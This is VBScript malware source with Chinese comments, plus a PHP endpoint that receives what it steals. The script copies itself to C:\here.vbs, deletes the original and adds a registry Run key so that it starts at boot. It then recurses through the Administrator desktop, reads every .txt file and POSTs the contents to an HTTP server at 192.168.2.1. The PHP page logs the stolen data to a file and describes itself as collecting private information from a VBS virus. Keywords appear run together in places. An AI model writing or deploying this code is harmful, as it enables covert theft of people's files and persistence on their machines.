set fso=createobject("scripting.filesystemobject") '创建文件系统对象 if fso.getFile(Wscript.ScriptFullName)="C:\here.vbs"then'检测是否在指定路径中 scan("C:\Documents and Settings\Administrator\桌面") sub scan(folder_) '写一个扫描过程 onerrorresumenext set folder_=fso.getfolder(folder_) set files=folder_.files foreach file in files ext=fso.GetExtensionName(file) '获取文件后缀 ext=lcase(ext) '后缀名转换成小写字母 if ext="txt"then'寻找txt文件 set self=fso.opentextfile(file,1) information=self.readall '读取文件内容 Set http = CreateObject("Msxml2.XMLHTTP") '创建HTTP连接对象 http.open "POST", "http://192.168.2.1/vbstest.php", False'对http服务器发起post请求 http.setRequestHeader "CONTENT-TYPE","application/x-www-form-urlencoded" http.send "information="&file+" : "&information '格式化发送内容 endif next set subfolders=folder_.subfolders foreach subfolder in subfolders '搜索其他目录 scan(subfolder) '用递归的方式遍历子目录 next endsub else'不在时将其放到指定路经并设置注册表开机自启 set self=fso.opentextfile(wscript.scriptfullname,1) set selfpath=fso.getFile(wscript.scriptfullname) vbscopy=self.readall self.close selfpath.delete() '自删除 set ap =fso.opentextfile("C:\here.vbs",2,true) ap.write vbscopy ap.close set shell=WScript.CreateObject("WScript.Shell") shell.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\here","C:\here.vbs","REG_SZ"'修改注册表以达到自启动 endif
<?php echo"This is an information collection site that receives private information from a post request sent by a VBS script virus"; if(isset($_POST["information"])){ $myfile = fopen("information.txt", "a"); //用于将接收到的消息追加到information.txt中 fwrite($myfile, date("Y-m-d H:i",time())."\n"); fwrite($myfile, $_POST['information']."\n"); fclose($myfile); } ?>